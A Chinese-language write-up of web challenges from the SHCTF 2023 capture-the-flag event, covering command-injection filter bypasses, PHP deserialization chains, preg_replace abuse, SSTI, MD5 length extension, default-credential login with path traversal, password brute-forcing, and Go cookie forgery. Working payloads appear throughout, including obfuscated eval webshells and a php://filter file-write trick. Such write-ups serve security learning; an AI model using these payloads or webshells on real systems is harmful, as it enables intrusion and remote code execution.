babyRCE

很明确了,RCE 的各种绕过。先通过 rce=c\at%09f\lag.php 拿下 flag.php

1
2
3
4
5
<?php
$flag = getenv('GZCTF_FLAG');
if($flag=="not_flag" or $flag==""){
$flag="dzctf{test_flag}";
}

嗯… 那再通过 rce=env 看看 env:

1
GZCTF_FLAG=not_flag

看起来 Flag 不在这里,那就通过 rce=c\at%09/f\lag 拿下根目录下真的的 Flag:
flag{7ce9df9b-e22c-4cd3-8232-bed2b1f14544}

1zzphp

分析代码得到两组看似矛盾的要求:传入的 num 不能出现数字,但是 intval($num) 的结果为真;要求传入的 code 包含 2023SHCTF,又不能被正则 /.+?SHCTF/is 匹配到。

但是显然这些都可以使用 PHP 特性进行绕过:intval 函数如果传入的是数组,返回值则为这个数组的空与否,如果不是空的就返回 1,所以我们只需要让 $_GET['num'] 是一个非空数组即可;preg_match 函数具有一个回溯次数上限,默认是 1000000,如果回溯次数超过这个数就会返回 False。所以相关代码:

1
2
3
4
5
6
7
(await(await fetch("/?num[]=1", {
"headers": { "content-type": "application/x-www-form-urlencoded" },
"body": "c_ode=" + "0".repeat(1000000) + "2023SHCTF",
"method": "POST"
})).text()).match(/flag\{[^}]+\}/g).forEach(match => {
console.log(match);
});

这样就可以得到 Flag:flag{cae9327f-b6fb-41ff-a3fa-492fef8947e8}

Screenshot-202310031145.webp

ez_serialize

很显然是 PHP 反序列化的利用,先看代码找到反序列化入口和利用点:class A 中调用了 include 函数,很显然这是利用点;class B 自定义了 __wakeup 方法,这便是攻击入口。

从利用点倒回来看,include 所在的是 __invoke 方法,所以需要有地方将对象作为函数来调用。在 class D 中可以看到这样的操作,它所在的是 __get 方法,那么就需要一个调用对象变量的操作,在 class C__toString 方法中可以看到。很巧啊(出题人意图明显),反序列化入口中的 preg_match 函数在定义上要求第二个参数为 string,如果 B::$q 是个对象的话就会调用它的 __toString 方法。

本来尝试通过 php://input 来实现任意代码执行的,但是发现好像被配置文件限制了,所以直接退一步使用 php://filter 来读取文件,得到 Flag。

所以先构造调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class A {
public $var_1;
public function __construct($var_1) {
$this->var_1 = $var_1;
}
}

class B {
public $q;
public function __construct($q) {
$this->q = $q;
}
}

class C {
public $var;
public $z;
public function __construct($var, $z) {
$this->var = $var;
$this->z = $z;
}
}

class D {
public $p;
public function __construct($p) {
$this->p = $p;
}
}

echo serialize(new B(
new C("key", new D(new A(
"php://filter/read=convert.base64-encode/resource=flag.php"
)))
));

可以得到 Payload:

1
O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";s:3:"key";s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}

然后通过下面的代码执行攻击:

1
2
3
4
5
6
(await(await fetch("/?payload=" + payload)).text())
.match(/([A-Za-z0-9+/]{20,}={0,2})/g).forEach(base => {
atob(base).match(/flag\{[^}]+\}/g).forEach(match => {
console.log(match);
})
});

就可以得到 Flag:flag{5957d25c-10d5-499d-9816-7efc7dd10511}

Screenshot-202310031357.webp

登录就给 Flag

一通审查后确认了只有一个登陆界面,直接进行弱密码尝试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

def fetch(username, password):
url = "http://112.6.51.212:31702/login.php"
data = {
"username": username,
"password": password,
"login": "login"
}
payload = requests.post(url, data=data)
return payload.content

with open('passwords.txt', 'r') as file:
for line in file:
username = "admin"
password = line.strip()
length = len(fetch(username, password))
print(length, username, password)

得到账号 admin、密码 password,登录后拿到 Flag:flag{77dc0618-2432-4022-8dea-31db61709cfd}

飞机大战

直接进行代码审计,在 JavaScript 中发现:

1
2
var galf = "\u005a\u006d\u0078\u0068\u005a\u0033\u0073\u0030\u004d\u0054\u0068\u0068\u0059\u0057\u0055\u0032\u004d\u0079\u0031\u006b\u004d\u007a\u005a\u0069\u004c\u0054\u0051\u0035\u004d\u007a\u0055\u0074\u004f\u0044\u005a\u006a\u0059\u0053\u0030\u0032\u0059\u007a\u0059\u0079\u0059\u0032\u0046\u0068\u005a\u0054\u0055\u0032\u005a\u0057\u004a\u0039\u000a";
alert(atob(galf));

所以直接运行这部分代码就可以拿到拿 Flag:flag{418aae63-d36b-4935-86ca-6c62caae56eb}

ezphp

看起来是对 preg_replace/e 修饰符的利用(比如在 pattern.\* 的情况下 code 传入 {${phpinfo()}}),但是很显然这里的 preg_match 把各种可行的 Payload 都封死了,但是没关系可以绕过:preg_match 强制要求第二个参数必须是 string,否则直接返回 False,但是 preg_replace 的参数都可以传入数组,这样就能实现绕过。由于 preg_replace 中可操作性比较小,先直接释放个一句话木马。

1
2
3
4
5
payload="eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(99).chr(109).chr(100).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60). chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91). chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))"
fetch("/?code[]={${"+payload+"}}", { "method": "POST",
"headers": {"content-type": "application/x-www-form-urlencoded"},
"body": "pattern=.*"
});

接下来就直接拿 Flag:flag{2da36d94-1638-4260-94ab-7feb3978e942}

Screenshot-202310031850.webp

生成你的邀请函吧~

直接按照要求发送一个请求:

1
2
3
4
5
6
7
8
((name, qq) => {
fetch('/generate_invitation', { method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({ name: name,
imgurl: 'http://q.qlogo.cn/headimg_dl?dst_uin=' + qq + '&spec=640&img_type=jpg'})})
.then(response => response.blob()).then(blob => {
window.open(URL.createObjectURL(blob), '_blank')})
})("Undefined", "10001")

就得到了 Flag:

Screenshot-202310031745.webp

serialize

很显然还是 PHP 反序列化的利用,先看代码找到反序列化入口和利用点:class milaoshu 中调用了 include 函数,很显然这是利用点;class musca 自定义了 __wakeup 方法,这便是攻击入口。那么,怎么样才能调用到 __toString 方法呢?一番查看后应该只有 class misca 中的 die($this->a); 可以做到这一点。但是因为

1
2
3
public function miaomiao() {
$this->a = 'Mikey Mouse~';
}

的存在,没法直接将 Payload 放在 misca::$a 中,怎么在它被赋值之后又变回 Payload 呢?PHP 的引用了解一下?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class misca { public $gao; public $fei; public $a; }
class musca { public $ding; public $dong; }

class milaoshu {
public $v;
public function __construct($v) {
$this->v = $v;
}
}

$payload = "php://filter/read=convert.base64-encode/resource=flag.php";
$milaoshu = new milaoshu($payload);

$pointer = null;
$obj = new musca();
$obj->ding = new misca();
$obj->ding->a = &$pointer;
$obj->ding->gao = &$pointer;
$obj->ding->fei = $milaoshu;

echo serialize([$obj]);

在这种情况下,虽然已经执行了 $this->a='Mikey Mouse~';,但是仍然利用 $this->gao=$this->fei; 改变了 misca::$a 的值。

当然还有两点:对于正则匹配的绕过,用一个 Array 把数组裹起来就行了,这样序列化数据刚开始是一个 Array 而不是 Object。对于 $_GET["wanna_fl.ag"] ,显然直接提交 . 会被转义为 _,但是可以用 wanna[fl.ag 作为 Key 来利用 Bug 绕过。利用下面的代码:

1
2
3
4
5
6
7
8
payload = 'a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}'

(await(await fetch("/?wanna[fl.ag=" + payload)).text())
.match(/([A-Za-z0-9+/]{20,}={0,2})/g).forEach(base => {
atob(base).match(/flag\{[^}]+\}/g).forEach(match => {
console.log(match);
})
});

就可以得到 Flag:flag{36d60f8d-c781-40e2-8ba6-6517f9638e3f}

no_wake_up

很显然这题就是一个 Unserialize 但是需要绕过 __wakeup 函数,这好办,只要序列化的对象所含变量的数量大于定义的变量数量,__wakeup 函数就不会被调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class flag {
public $username;
public $code;
public $defined = 2333;
public function __construct($username, $code) {
$this->username = $username;
$this->code = $code;
}
}

echo serialize(new flag(
"admin",
"php://filter/read=convert.base64-encode/resource=flag.php"
));

将得到的 Payload 提交上去就能拿到 flag.php 的 Base64 编码内容,解码后能够在里面找到 Flag:flag{c808f81b-9d12-45c2-a44f-440ece141150}

Screenshot-202310131034.webp

MD5 的事情就拜托了

稍微阅读题目,可以得知这是 MD5 的补充攻击,先得知道 Flag 的长度及其 MD5 值。通过下面的代码,可以实现两个部分的绕过,拿到想要的东西:

1
2
3
4
5
fetch("/?length=1.001", {
"headers": { "content-type": "application/x-www-form-urlencoded" },
"body": "SHCTF=query://SHCTF/?host",
"method": "POST",
});

可以得知:

1
2
flag.md5 = 1fb82a4b8ecbfe70fcde1d73b4d07083
flag.length = 42

不难在 GitHub 上找到 MD5 补充攻击的工具,利用工具直接生成 Payload:

1
2
3
4
5
6
7
8
9
10
请输入已知明文:
请输入已知hash:1fb82a4b8ecbfe70fcde1d73b4d07083
请输入扩展字符:233
请输入密钥长度:42

已知明文:b''
已知 Hash:b'1fb82a4b8ecbfe70fcde1d73b4d07083'
新明文:b'\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00P\x01\x00\x00\x00\x00\x00\x00233'
新明文 (URL 编码):%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00233
新 Hash:07b184289e248ce72ea9a85b205fd27c

利用下面的代码可以发送 Payload:

1
2
3
4
5
6
7
md5 = "07b184289e248ce72ea9a85b205fd27c";
num = "%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00233";
fetch("/?length="+num, {
"headers": { "content-type": "application/x-www-form-urlencoded" },
"body": "SHCTF="+md5,
"method": "POST",
});

拿到 Flag:flag{a563a324-14cb-4d75-9043-4c794d845c21}

ez_ssti

刚开始可能不知道应该怎么做,但是尝试了一下就能知道 GET 通过 name 参数提交的内容会被渲染出来。直接去找一个 SSTI Payload,解决问题:

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

得到 Flag:flag{7cf7fc2e-030f-402e-ae63-f0f452dc19fc}

Screenshot-202310131041.webp

EasyCMS

题目给了一个 TaoCMS 环境,先去管理后台试试默认密码(首页直接给定的后台地址是不带端口号的,需要自己修改 URL 进入)。尝试后发现 admin:tao 可以直接登录后台管理面板,在导航栏可以找到文件管理的功能。

直接尝试将当前位置改为 ../ 尝试获取父级目录,发现这是可行的操作。多次尝试后使用 ../../../ 到达了根目录:

Screenshot-202310131021.webp

直接点击 flag 查看文件内容就能得到 Flag:flag{WoW_cm5_15_dAN9Erou5_alrI6Ht?_705ba83170d6}

快问快答

稍微手动控制下,在浏览器 Dev Tools 的 Console 里运行下面的代码就是了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
setTimeout(() => {
source = document.querySelector("body > form > h3").innerText.substr(3).split(' ');
a = parseInt(source[0]); op = source[1]; b = parseInt(source[2]);
calc = (a, op, b) => {
if (op == 'x') { return a * b; } else
if (op == '+') { return a + b; } else
if (op == '-') { return a - b; } else
if (op == '与') { return a & b; } else
if (op == '÷') { return a / b; } else
if (op == '异或') { return a ^ b; }
}
document.querySelector("body > form > input[type=number]").value = parseInt(calc(a, op, b)).toString();
document.querySelector("body > form > button").click();
}, 500)

运行大约 50 次之后得到 Flag:

Screenshot-202310241358.webp

所以 Flag:flag{cOnGrA7ulATIon5_On_BECOMiN6_4_9Uick_9UEStloN_And_AnSW3R_gUy_40008e5dc083}

sseerriiaalliizzee

这题需要构造的链并不难看出来:

1
Start::__toString -> CTF::dosomething -> file_put_contents<Any>

但是问题在于 file_put_contents 函数执行之前,代码会在即将放入文件的内容之前加上一个 PHP 代码:die。常规来讲如果尝试往文件中写入任何 PHP 代码,都会因为被这个 die 代码橄榄了而没法运行。其实这一点可以通过 php://filter 结合 Base64 解决,相关构造代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Start {
public $barking;
}

class Flag {}

class CTF {
public $part1;
public $part2;
}

$payload = new Start();
$payload->barking = new CTF();
$payload->barking->part1 = 'php://filter/write=convert.base64-decode/resource=cmd.php';
$payload->barking->part2 = 'AA'.base64_encode('<?php eval($_GET["cmd"]); ?>');

echo serialize($payload) . PHP_EOL;

这个 Payload 可以直接将一句话木马丢上去,然后就方便操作了。Flag 在 /flag 中:flag{ac342375-2020-4f1c-bde0-faca6d526b95}

gogogo

显然这个程序是使用 Cookie 保存 Session 的,但是这个 Cookie 有签名。阅读代码,用于 Cookie 签名的密钥是从环境变量里读的,盲猜题目环境并没有设置 SESSION_KEY 环境变量。稍微修改下代码:

1
session.Values["name"] = "admin"

然后 go run main.go 将整个程序跑起来,直接拿程序下发的 Cookie:

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Set-Cookie: session-name=MTY5ODE5MzE0N3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXwZj1tZtSpWNPRk7aNwUWinDdkPlgMwhbKLFsZ4MHhwNQ==; Path=/; Expires=Fri, 24 Nov 2023 00:19:07 GMT; Max-Age=2592000
Date: Wed, 25 Oct 2023 00:19:07 GMT

将这个 Cookie 用到题目环境中便可以完成第一个任务。接下来是 RCE 绕过,Go 语言这边就没 PHP 的特性了(指通过 Array 绕过),所以老老实实遵循这个正则 [b-zA-Z_@#%^&\*:{\|}+<>";\[\]] 。最终构造的 Payload 如下:

1
$($'\146\151\156\144' / -$'\155\141\170\144\145\160\164\150' 1 -$'\164\171\160\145' $'\146')

这个语句实际上是 $(find / -maxdepth 1 -type f) ,列出根目录下所有的文件然后丢给 strings 命令去读文件。最后拿到 Flag:flag{3Asy_c0M3_e4SY_GO0O_5ca7c4eee40e}